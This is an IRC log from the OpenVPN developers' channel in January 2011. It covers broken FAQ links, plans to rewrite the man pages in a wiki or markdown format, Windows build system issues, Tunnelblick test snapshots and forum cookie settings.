-!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 03:52 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 04:25 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:25 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:40 -!- common- [~common@p5DDA4406.dip0.t-ipconnect.de] has joined #openvpn-devel 04:43 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 04:43 -!- common [~common@p5DDA41E4.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 04:43 -!- common- is now known as common 04:48 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 05:10 -!- Netsplit *.net <-> *.split quits: helmut, @d303k 05:11 -!- Netsplit over, joins: helmut 05:12 -!- Netsplit over, joins: @d303k 05:36 -!- raidzx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has joined #openvpn-devel 05:39 -!- raidzxx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 265 seconds] 09:29 -!- s7r [~s7r@83.170.111.154] has joined #openvpn-devel 17:27 -!- s7r [~s7r@83.170.111.154] has left #openvpn-devel [] 17:29 -!- common [~common@p5DDA4406.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 17:37 -!- common [~common@p5DDA4406.dip0.t-ipconnect.de] has joined #openvpn-devel 17:47 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Mon Jan 10 2011 01:25 -!- dazo_afk is now known as dazo 01:29 <@dazo> cron2: ahh! thanks! I'll check out socket.c once again then 04:41 -!- common- [~common@p5DDA4467.dip0.t-ipconnect.de] has joined #openvpn-devel 04:44 -!- common [~common@p5DDA4406.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds] 04:44 -!- common- is now known as common 05:26 -!- s7r [~s7r@178.16.22.27] has joined #openvpn-devel 05:36 -!- s7r [~s7r@178.16.22.27] has quit [Ping timeout: 240 seconds] 05:38 -!- s7r [~s7r@212.117.186.78] has joined #openvpn-devel 07:33 -!- helmut [helmut@188.40.101.234] has quit [Remote host closed the connection] 07:39 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 10:28 -!- dazo is now known as dazo_afk 10:34 -!- d303k [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 10:37 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:47 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 10:49 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:49 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:53 -!- dazo_afk is now known as dazo_afk_afk 13:14 -!- s7r1 [~s7r@212.117.186.78] has joined #openvpn-devel 13:14 -!- s7r [~s7r@212.117.186.78] has quit [Ping timeout: 240 seconds] 13:18 -!- s7r1 [~s7r@212.117.186.78] has quit [Ping timeout: 265 seconds] 13:19 -!- s7r [~s7r@212.117.186.78] has joined #openvpn-devel 13:19 -!- s7r is now known as Guest60088 14:51 < krzie> when mattock gets back someone paste him this please, https://forums.openvpn.net/topic7467.html 14:51 <@vpnHelper> Title: OpenVPN Support Forum Route: Waiting for TUN/TAP interface to come up... : Server Administration (at forums.openvpn.net) 14:52 < krzie> because the anchors are broken in the faq, there is an error message in ovpn which is currently useless 14:52 < ecrist> we should start taking all that data and mirroring it somewhere else, that's not broken. 15:21 < krzie> well hopefully we can just get it fixed on that server too 15:21 < krzie> these days it seems like he are able to make progress, should keep trying to work with that 15:22 < krzie> s/he/we/ 16:42 -!- Guest60088 [~s7r@212.117.186.78] has left #openvpn-devel [] 18:03 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Remote host closed the connection] 18:29 -!- s7r [~s7r@212.117.186.78] has joined #openvpn-devel 19:44 -!- common [~common@p5DDA4467.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 19:52 -!- common [~common@p5DDA4467.dip0.t-ipconnect.de] has joined #openvpn-devel 20:44 -!- s7r [~s7r@212.117.186.78] has left #openvpn-devel [] --- Day changed Tue Jan 11 2011 02:20 -!- dazo_afk_afk is now known as dazo 02:30 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 02:32 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 02:32 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:28 -!- patelx [patel@openvpn/corp/admin/patel] has quit [Ping timeout: 260 seconds] 04:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:19 <@dazo> <krzie> [10-01 21:51:49] when mattock gets back someone paste him this please, https://forums.openvpn.net/topic7467.html 04:19 <@vpnHelper> Title: OpenVPN Support Forum Route: Waiting for TUN/TAP interface to come up... : Server Administration (at forums.openvpn.net) 04:20 < krzie> ahh thanx 04:20 < krzie> mattock, skip to last 3 posts 04:20 <@mattock> ok, I'll fix the FAQ 04:21 < krzie> thx 04:22 <@dazo> fantastic ... we have http references in our logs ... not sure how clever that is in the long run ... not when changing the websites every 6 months :-P 04:23 <@mattock> yep 04:24 < krzie> if anchors and whatnot are lost, not very... otherwise it sure is helpful 04:25 <@dazo> it *could* work though, if we had our own separate database on the webserver, kind of like a short-url service, where those links could be updated whenever the CMS changes 04:25 < krzie> dazo, i was JUST thinking that 04:26 <@dazo> krzie: agreed ... it's not a bad thing to have references to external sources ... but I think last year, those URLs changed 3-4 times ... we can't possibly be able to follow that in the code base 04:26 < krzie> of definitely 04:26 < krzie> s/of/oh/ 04:26 < krzie> the urls should never change, just the content... or at least the *forwarders* should never change 04:27 <@dazo> agreed! 04:27 < krzie> if all forwarders changed, vpnhelper would be useless 04:27 <@dazo> yeah 04:27 <@dazo> init.c: msg (M_INFO, "%s With Errors ( see http://openvpn.net/faq.html#dhcpclientserv )", message); 04:27 <@dazo> init.c: msg (M_WARN, "WARNING: No server certificate verification method has been enabled. See http://openvpn.net/howto.html#mitm for more info."); 04:27 <@vpnHelper> Title: FAQ Community (at openvpn.net) 04:28 <@dazo> openvpn.8:.I http://openvpn.net/examples.html 04:28 <@dazo> openvpn.8:.I http://openvpn.net/faq.html#oneport 04:28 <@vpnHelper> Title: FAQ Community (at openvpn.net) 04:28 <@dazo> openvpn.8:.I http://openvpn.net/1xhowto.html 04:28 <@dazo> (well, the man page *needs* to be reviewed soon) 04:28 <@dazo> (many more urls there) 04:29 <@dazo> but basically the URLs in init.c needs to be checked 04:30 < krzie> whoa, never saw the 1xhowto 04:31 < krzie> wow, thats one hell of a manpage to review 04:34 <@dazo> yeah, it is ... probably why not so many have done it ... it should be split into more parts, where openvpn.8 gives an overview over all other man pages 04:41 <@dazo> mattock: what if we propose to the -users and -devel mailing list, seeking for someone who can review and rewrite our man pages? 04:42 -!- common- [~common@p5DDA441B.dip0.t-ipconnect.de] has joined #openvpn-devel 04:42 <@mattock> yep, not a bad idea 04:43 <@mattock> splitting into smaller subpages probably makes sense, unless there would be lots of links (between the sections) 04:43 <@dazo> and even say it can be rewritten into a new format if needed, in discussion with us .... I'm thinking ascii2man or docbookXML, or something like that 04:43 <@mattock> I think changing the default (=editing) format is an excellent idea! 04:43 <@dazo> well, it may be some links, but then it should be primarily as a reference link 04:44 <@mattock> yeah, references should be fine... along the lines "for more information, see..." 04:44 <@dazo> but f.ex. having one page covering generic stuff (relevant for both client and server), then one man page for the server side and one for the client side 04:44 <@dazo> yeah, that's my thought 04:45 -!- common [~common@p5DDA4467.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 04:45 -!- common- is now known as common 04:45 <@dazo> and the main openvpn.8 page should describe VPN in general, and basic executive information 04:46 <@mattock> let's try the mailing lists 04:46 <@dazo> maybe we could ask JJK to review the new docs ... maybe be the main editor in the long run ... if he got time and interest 04:46 <@mattock> there might be some good documentation writers there 04:46 <@dazo> yeah 04:47 <@dazo> mattock: you or me? 04:47 <@dazo> (mailing list mail, that is) 04:47 <@mattock> could you? I got to leave in 30 mins or so... although I will be back later today 04:47 <@mattock> I'm still going through my emails 04:47 <@dazo> sure, I'll line up the idea we've discussed here then 04:47 <@mattock> excellent, thanks! 04:59 <@mattock> cron2: has the working t_client.rc been included in Git already? 04:59 <@mattock> if so, I could make the buildslaves run the tests automatically 05:07 <@dazo> mattock: nope ... no default working t_client.rc yet ... but if I get one .... ;-) 06:04 -!- trispace [~rf@bec.fw.firewall.at] has joined #openvpn-devel 06:06 < trispace> regarding the discussion about OpenVPN manual pages I would like to throw ronn (https://github.com/rtomayko/ronn) into the room 06:06 <@vpnHelper> Title: rtomayko/ronn - GitHub (at github.com) 06:08 <@dazo> trispace: cool! thx! would you mind bringing that one into the mailing list discussion as well? At first glance, it seems like what we need 06:11 < trispace> I know that bringing in ruby (besides python for the build system) is probably a no-go. But I think simple syntax of the source files is very important to encourage people to help out with writing manpages 06:11 < trispace> dazo: OK, I'll write a message to the mailing list 06:11 <@dazo> agreed! we need to have a look at dependencies and make sure that things can be built on all supported platforms as well 06:12 <@dazo> (supported platforms are basically {Open,Net,Free}BSD, Windows, Linux, Solaris) 06:13 < trispace> So ronn could be seen more as example of syntax simplicity, I'm sure there is something similar in python 06:20 <@dazo> I see that ronn takes the ideas around the markdown markup language, which is I do like. Everyone is able to edit these files easily. 06:21 < trispace> dazo: exactly 07:32 -!- s7r [~s7r@212.78.230.220] has joined #openvpn-devel 07:35 < ecrist> morning, folks. 07:35 <@dazo> afternoon, ecrist :) 08:25 <@mattock> hi ecrist! 08:28 <@cron2> mattock: I haven't committed t_client.rc, as I'm not sure whether we want the test server to be "fully publically visible" or only for buildslave purposes (for now) 08:28 <@mattock> cron2: ok... if t_client.rc is not in Git, then I just need to add an extra step to the buildslave build process to use it 08:29 <@cron2> dazo: for normal building, I would strongly urge for not pulling in further dependencies 08:29 <@dazo> cron2: agreed 08:29 <@cron2> especially not "additional languages that are not there by default" (perl, ruby, python) 08:29 <@cron2> for developer/optional stuff, no problem, but not for "I just want to build this package" 08:30 <@cron2> mattock: I have committed a sample t_client.rc to show how it is done, but not the one we did two weeks (?) ago 08:31 <@dazo> I'm thinking we in worst case could write something portable in C ... or that the man page(s) simply is not built if lacking the final little tool ... on the official build boxes, we should anyway have these deps solved 08:33 <@mattock> cron2: ok, excellent! 08:46 -!- sporedi [~chatzilla@mail.utmxtm.com] has joined #openvpn-devel 09:13 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 09:25 -!- sporedi [~chatzilla@mail.utmxtm.com] has left #openvpn-devel [] 09:48 <@mattock> it seems we can't get rid off file-copying trickery in service-win32 09:49 <@mattock> the buildsystem is now refactored to use a separate makefile for service-win32 09:50 <@mattock> the problem is that I can't change any of the include file references in service-win32/* or the old Windows buildsystem breaks 09:50 <@mattock> and if I don't change them, the new one won't work 09:56 <@dazo> oh dear ... someone, please explain me the benefits of the new build system? .... 09:56 <@mattock> oh, I think I fixed it 09:57 <@mattock> dazo: I'm wondering about that, too 09:57 <@mattock> especially as we need to maintain the old one as well 09:57 <@mattock> I assumed that it was more or less complete when I started... unfortunately I was wrong 09:57 <@dazo> mm 09:57 <@dazo> I'm just wondering .... what are the requirements for the old and the new building system? 09:59 <@mattock> you mean requirements before one can build OpenVPN with them? 09:59 <@mattock> what needs to be done 10:00 <@dazo> nope, what the user needs to build openvpn on windows 10:01 <@dazo> what differentiates these building systems, kind of 10:02 <@mattock> not sure about the old system, but the new one requires a boatload of stuff to be installed... however, that's not really the buildsystem's (but Windows') fault: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 10:02 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 10:02 <@mattock> I'm not 100% sure why James wanted to write the new build system 10:02 <@mattock> it _does_ make it possible to develop OpenVPN relatively easily using MS tools (e.g. Visual Studio IDE) 10:02 <@mattock> that is probably a good thing 10:03 <@mattock> I think there were issues with driver signing using the old system, too 10:03 <@dazo> yeah, and that's not a bad thing ... but if we end up having to maintain two build platforms for Windows, depending on if you use VS or mingw/cygwin/msys ... then I'm wondering if this is good 10:04 <@dazo> yeah, the signing was more tricky ... and if signing the tap driver on windows is the issue ... then that's an even stronger argument for me to separate those two from each other ... however, requiring two different building environments on Windows (one for TAP, one for OpenVPN) also doesn't make sense 10:05 <@mattock> the autotools-based build has the advantage that people can cross-build on Linux 10:05 <@mattock> that's a nice feature 10:06 <@mattock> personally, I think the new build system is pretty clean and nice... only thing which makes it somewhat complex is the integration with the old one 10:06 <@dazo> definitely, that might not change much in general ... as autotools will be a requirement on non-Windows anyhow 10:06 <@mattock> copying and converting of files such as ../Makefile.am, ../config-win32.h etc 10:07 <@mattock> personally, I would prefer decoupling the two buildsystems for Windows... it's probably not very likely that many people use them simultaneously on the same build computer 10:07 <@dazo> a third alternative, which I'm not convinced about at all ... is to look at CMake ... but I've been fighting with that lately in eurephia, and I begin to consider moving to autotools there 10:07 <@mattock> of course, James does that currently, but probably nobody else ever will 10:07 <@mattock> I've heard CMake has potential... 10:09 <@mattock> never even compiled a project that uses it 10:09 <@mattock> :) 10:09 <@dazo> but, autotools does a lot of (good) things which CMake doesn't do ... especially when doing multi-platform .... FreeBSD and in particular OpenBSD gave challenges ... due to not defining automatically where include files are found and include that in include paths, f.ex. 10:09 <@dazo> you can try to compile eurephia :-P 10:09 <@mattock> does CMake support Windows? 10:09 <@dazo> yeah, it does 10:09 <@mattock> :D 10:10 <@mattock> btw. does it hurt to include "too many" files (e.g. ".." from service-win32 directory)? 10:11 <@mattock> that seemed to fix the include file issues encountered in service-win32/openvpnserv.c and service-win32/service.c 10:11 <@mattock> or should I include just those files which are needed? 10:11 <@dazo> *but* ... CMake is very version dependent. I based eurephia on CMake 2.6, and RHEL/CentOS5 and older only have CMake 2.4 available, and modifying eurephia CMake files it to support 2.4 is a nasty job ... so at the moment building on those platforms is a big hassle 10:11 <@dazo> mattock: what do you mean with "include too man files"? 10:11 <@dazo> like compiler -I.. stuff? 10:12 <@mattock> I mean including the whole ".." directory, e.g. CPP <blabla> -I".." 10:12 <@mattock> instead of just the files openvpnserv.c and service.c need 10:13 <@dazo> using -I.. is no problem at all 10:13 <@dazo> that's the normal way of doing it, in fact 10:13 <@mattock> ok, excellent 10:13 <@dazo> then you just do #include <buffer.h> ... even though that file is in .. 10:14 <@mattock> ok, now there's a service-win32/msvc.mak file which build just the openvpnserv.exe 10:14 <@mattock> completely decoupled from openvpn.exe build atm 10:15 <@mattock> did you read Mathias' email regarding buffer.c? 10:15 <@mattock> and openvpn_snprintf... 10:16 <@dazo> I did, but need to reread it to recall it now 10:20 <@dazo> I'm scared about the -ffunction-section to gcc ... it's a great feature, but our building platform might be way too broad to tackle this well, unless only used in the Windows build platform 10:21 <@dazo> (that would basically be gcc in mingw/cygwin/msys and VC, I presume) 10:25 <@mattock> I was thinking about separating openvpn_snprintf to a separate c file... would it be worth it? 10:26 <@dazo> that is definitely the safest way 10:27 <@dazo> put the openvpn_snprintf() into a portable-strings.c file 10:28 <@dazo> I'm not sure I see Mathias' point that adding the new include file (f.ex. portable-string.h) into buffer.h is such a big kludge 10:28 <@mattock> yeah... I need some real fix to the issue: still using the _snprintf hack 10:29 <@mattock> especially if we'd otherwise need to add portable-string.h into every file using openvpn_snprintf 10:30 <@mattock> wouldn't that be the case? 10:30 <@dazo> that would be the safest way to be sure it works ... otherwise you need to check all the *.[ch] files which includes buffer.h, to see if they also need portable-string.h ... however, it might actually be a little bit cleaner - dependencies are more obvious 10:31 <@mattock> yep 10:31 <@dazo> but buffer.[ch] is already kludged with more than just strictly buffer things 10:31 <@mattock> me eat something 10:36 -!- trispace [~rf@bec.fw.firewall.at] has quit [Quit: trispace] 10:41 <@mattock> btw. we should try to encourage the tunnelblick maintainer to create development snapshots using the "allmerged" branch 10:42 <@mattock> now that we can almost start creating weekly/biweekly Windows builds, too 10:42 <@dazo> mattock: absolutely 10:42 <@mattock> I was doing some debugging yesterday, and tunnelblick is still using 2.1.4 10:42 <@dazo> we need to get the ipv6 code tested 10:42 <@mattock> I think all one needs to do is replace the binary in the installer package, though 10:42 <@dazo> at least if we can get a "-testing version" of tunnelblick, that would help a lot 10:43 <@dazo> I think so, yeah 10:43 <@mattock> yeah... I'm pretty sure most OSX guys use it instead of plain OpenVPN 10:43 <@dazo> yupp 10:44 <@dazo> hmm ... just looking at the windows building wiki, under the requirements .... "WinRAR or some other tool capable of extracting .tar.gz and .tar.bz2 archives is necessary to extract the LZO and OpenSSL release archives. " 10:45 <@dazo> since this is the reality ... why do we provide .zip file version of openvpn? 10:46 <@dazo> btw ... 7-zip is also an alternative 10:50 < ecrist> xz is working now, right? 10:51 <@dazo> ecrist: should be 10:51 < ecrist> I'll see if I can talk the Tunnelblick maintainer into using my weekly snapshots 10:51 <@dazo> I just do 'make dist-xz' ... and voilá ... 10:51 <@dazo> ecrist: that'd be great! 10:52 <@dazo> cron2: if we end up needing some kind of dependencies for man page generation ... would Perl be an okay dependency? (it's needed on Windows when building OpenSSL anyway) 10:54 * dazo kind of expects Perl to be easily available (default installed?) on most *nix platforms 10:56 < ecrist> I sent an email to one of the owners of Tunnelblick. 11:08 <@cron2> perl doesn't come by default on the BSDs 11:10 <@cron2> by default, you have shell and gcc 11:11 <@cron2> mattock: having a tunnelblick-testing version would be great 11:14 <@dazo> cron2: okay, good to know ... then I won't consider that too much ... then it's basically the same if it is python or perl, if a choice is between those two 11:15 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 11:17 -!- dazo is now known as dazo_afk 12:52 <@mattock> dazo: re: openvpn zips... very good point, never thought it that way :) 12:53 <@mattock> I guess the only reason is the warm feeling of being able to download a ZIP if you're a Windows user 12:54 <@mattock> ecrist: thanks for sending the mail! In fact I've been discussing the use of test server for tunnelblick testing with it's maintainer, too 12:55 < ecrist> I pointed them to this IRC channel 12:55 <@mattock> he used to use some OpenVPN Tech server James had running, but it has gone offline now 12:55 <@mattock> excellent! 13:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 13:20 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:20 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:35 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 272 seconds] 13:36 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 14:22 <@cron2> p/sb end 14:22 <@cron2> oops 14:39 -!- raidzxx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 14:40 -!- Netsplit *.net <-> *.split quits: kisom, raidzx, waldner 14:42 -!- Netsplit over, joins: raidzx, waldner, kisom 14:43 -!- raidzx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has quit [Ping timeout: 274 seconds] 16:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 260 seconds] 16:06 -!- s7r [~s7r@212.78.230.220] has left #openvpn-devel [] 16:35 -!- krzie [~k@openvpn/community/support/krzee] has left #openvpn-devel [] 16:35 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:35 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:56 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 17:36 <+krzie> dazo_afk, we were just talking about the manual recently 17:36 <+krzie> [19:35] <Xgates> Isn't the --ping-restart n listed there by what we are reading suppose to be M instead of N like ---> --ping-restart m ? 17:36 <+krzie> [19:35] <Xgates> cause we are talking about a n m and when you said to look at ping and ping restart I see no mention of m only two n 18:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:05 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 23:55 <+krzie> !snapshots 23:55 <@vpnHelper> "snapshots" is weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn --- Day changed Wed Jan 12 2011 00:22 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 00:37 -!- us3r [~aaron@CPE000d88382326-CM0012256eb04c.cpe.net.cable.rogers.com] has joined #openvpn-devel 00:38 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 00:38 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 00:41 -!- us3r [~aaron@CPE000d88382326-CM0012256eb04c.cpe.net.cable.rogers.com] has quit [Client Quit] 00:51 -!- dazo_afk is now known as dazo 00:54 <@dazo> krzie: that sounds like a confusion between --keepalive (which takes two args) and --ping-restart and --ping, which --keepalive expands to 01:07 <+krzie> yes 01:07 <+krzie> but his point was that they use "n" differently 01:08 <+krzie> while i see why, and i didnt even notice, i see no reason to not say "m" in some of the others when it matches 01:08 <+krzie> of course "n" means nothing in reality... but ya 01:42 <@dazo> ahh! now I understand 01:49 <@dazo> hmm ... it seems 'm' is used very seldom (2-3 places, --keepalive and --route-metric) ... n seems to be used consequently for numeric values ... I'm not sure I really understand the issue after all 01:54 <+krzie> where m is used in keepalive, it is called n for some of the items which are expanded from keepalive 01:55 <+krzie> for example keepalive n m 01:55 <+krzie> m is used for ping-restart's value 01:55 <+krzie> but if you look at ping-restart, it is ping-restart n 01:55 <+krzie> while this makes sense to me, it was a point of confusion for someone else... worthy of talking about i figure 01:56 <+krzie> whether that means worthy of changing or not, i dunno ;) 01:57 <+krzie> rather, m is used as the push ping-restart... hrm maybe changing it would be more confusing than not 02:09 <@dazo> krzie: maybe changing it to --keepalive t1 t2 ;-) 02:10 <+krzie> the terminator! 02:11 <@dazo> but I actually did suggest an improvement this section ages ago on the mailing list ... (1.5-2 years ago) 02:11 <@dazo> because what I found confusing was the 120 value ... it's not explained that --keepalive n m is expanded to --ping-restart m*2 02:12 <@dazo> (I had to look in the source code to really understand this) 02:13 <+krzie> ahh, it made sense to me, but i agree it could use some explanation 02:13 <+krzie> maybe we could put the entire manual on a wiki somewhere 02:14 <+krzie> then just chime in and make changes wherever we feel like 02:14 <@dazo> that's a good idea! And then having some kind of script which can parse the wiki formatting into a man-page when we decide to update the man page ... like on every release 02:15 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:15 <@dazo> <krzie> maybe we could put the entire manual on a wiki somewhere 02:15 <@dazo> <krzie> then just chime in and make changes wherever we feel like 02:15 <@dazo> <dazo> that's a good idea! And then having some kind of script which can parse the wiki formatting into a man-page when we decide to update the man page ... like on every release 02:15 <@dazo> mattock: ^^^ what do you think= 02:15 <@dazo> ? 02:19 <@mattock> good idea, I think we discussed that something like that earlier... 02:20 <@mattock> got to ask James and others if that's fine for them... the alternative would be to use Wiki as a "development" area for documentation and push mature ("stable") documentation to openvpn.net web pages 02:21 <+krzie> well ya 02:21 <+krzie> thats the idea 02:21 <@mattock> I'll send mail asking about this right now 02:21 <+krzie> wiki for dev doc, and a script to parse that and do with it as it will 02:22 <+krzie> so that maybe the dov dev stuff could be as easy as modifying a wiki 02:22 <+krzie> s/dov/doc/ 02:23 <@dazo> it for sure could enable non-devs to participate on the documentation writing ... maybe that would lower the barrier to contribute? 02:23 <+krzie> exactly 02:23 <+krzie> for example, i have never used git 02:24 <+krzie> ild be more likely to edit a wiki page than play with git to update the man 02:24 <@dazo> krzie: it's never too late ;-) 02:24 <@dazo> (but I see your point!) 02:24 <+krzie> and i only use myself as an example, cause i for sure could use git 02:25 <@dazo> I know, it took me years before I dug into CVS and SVN trees, a decade ago 02:25 <+krzie> but what im saying is that git is used by coder types, not user types... if you want help from user types on the documenting, that could help 02:25 <@dazo> agreed 02:25 <+krzie> and with the size of the task, i figure all help is wanted 02:25 <+krzie> that manual is monster sized ;) 02:25 <@dazo> absolutely! You really had a good idea here :) 02:25 <+krzie> thx 02:27 <+krzie> in other news, i think i will have krz.ee soon =] 02:27 <@dazo> heh ... yet another domain pirate! :-P 02:28 <+krzie> i should see about also getting krz.ie from ireland! 02:28 <+krzie> haha 02:33 <@dazo> http://article.gmane.org/gmane.network.openvpn.devel/2814/match=update+keepalive 02:33 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 02:33 <@dazo> krzie: ^^ that was my suggestion in 2009 :) 02:54 <+krzie> i like it 03:16 <+krzie> http://cgi.ebay.com/BRAND-NEW-HTC-TMOBILE-MYTOUCH-MY-TOUCH-WHITE-/270673471938?pt=Cell_Phones&hash=item3f056569c2 03:16 <+krzie> say hello to my new phone 03:17 <+krzie> first smartphone im buying since the htc wizard many years ago 03:17 <@vpnHelper> Title: BRAND NEW HTC TMOBILE MYTOUCH MY TOUCH WHITE - eBay (item 270673471938 end time Jan-30-11 17:54:04 PST) (at cgi.ebay.com) 03:17 <+krzie> ild prefer black, but all i can get at that price is red or white 03:18 <+krzie> and ild also prefer the evo, but thats cdma and i need gsm 03:18 <@mattock> krzie: sent mail about the documentation issue 03:19 <+krzie> cool 03:21 <+krzie> mattock, could http and https share the same cookie on the forums? 03:22 <+krzie> i see now that would cure my issue 03:22 <@mattock> hmm... no clue... if phpbb supports it I guess 03:22 <+krzie> (if i forget to copy / paste from the bot, it resets my cookie because my cookie is for https and i show up via http:// 03:30 <@mattock> krzie: a quick glance at phpbb cookie settings does not show an obvious way to use same cookie for http and https 03:31 <@mattock> I'll do some more research 03:33 <@mattock> there is this in ACP: 03:33 <@mattock> Server protocol: 03:33 <@mattock> This is used as the server protocol if these settings are forced. If empty or not forced the protocol is determined by the cookie secure settings (http:// or https://). 03:33 <@mattock> currently it's http 03:34 <@mattock> perhaps switching that to https would help? 03:47 <@dazo> Isn't that related to the a secure cookie attribute? 03:53 <@dazo> mattock: is there an API against the Trac wiki which can extract the wiki page source (the internal markup language) ... which could be used in a script? 04:34 <@mattock> dazo: don't know... but if not, there may plugins we could use 04:42 -!- common- [~common@p5DDA49AC.dip0.t-ipconnect.de] has joined #openvpn-devel 04:45 -!- common [~common@p5DDA441B.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds] 04:45 -!- common- is now known as common 04:47 <@dazo> I was thinking 04:47 <@dazo> something along that route as well, yes 05:11 <@mattock> dazo: I'm guessing the forums issue might be caused by secure cookies being set in one place, and server protocol being defined as http elsewhere 05:12 <@mattock> or maybe it's not just possible to run http and https side-by-side without any side-effects 05:12 <@dazo> hmm 05:16 <@dazo> haha! I just noticed that the ISP we have a home have upgraded their lines ... 22Mbit/2Mbit now ... 06:03 <@cron2> cool 06:35 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:31 < ecrist> morning. 09:57 -!- dazo is now known as dazo_afk 10:00 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 10:10 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:10 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:11 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 10:12 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 15:09 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 17:43 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:30 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: No route to host] 20:55 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 23:51 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:51 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Thu Jan 13 2011 01:35 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:35 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 01:38 -!- dazo_afk is now known as dazo 01:43 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 01:43 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 01:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:23 <+krzie> http://openvpn.net/archive/openvpn-devel/2004-04/msg00032.html 02:23 <@vpnHelper> Title: Re: [Openvpn-devel] Multicast over TAP w/ OpenVPN 2.0 (at openvpn.net) 02:23 <+krzie> is that still the case? 02:28 <@cron2> there's multicast support in multi.c, but I'm not sure whether it works 02:29 <@cron2> (and whether it was added new for 2.1, or was already available in 2.0) 02:29 <@cron2> needs re-testing, I'd say 02:31 <+krzie> welp meeting is today 02:33 <@cron2> won't make it (family business) 02:34 <+krzie> i go back to usa for a bit starting friday 02:34 <+krzie> then the plan is south america! 02:39 <+krzie> mattock, i started https://community.openvpn.net/openvpn/wiki/Topics-2011-01-13 in case you wanna format it or add anything 02:39 <@vpnHelper> Title: Topics-2011-01-13 – OpenVPN Community (at community.openvpn.net) 02:49 <@mattock> krzie: thanks! 02:53 <+krzie> dazo, do you have a bunch of those chapters for jjk's book i can grab? they feed them to me slowly and i have an airplane 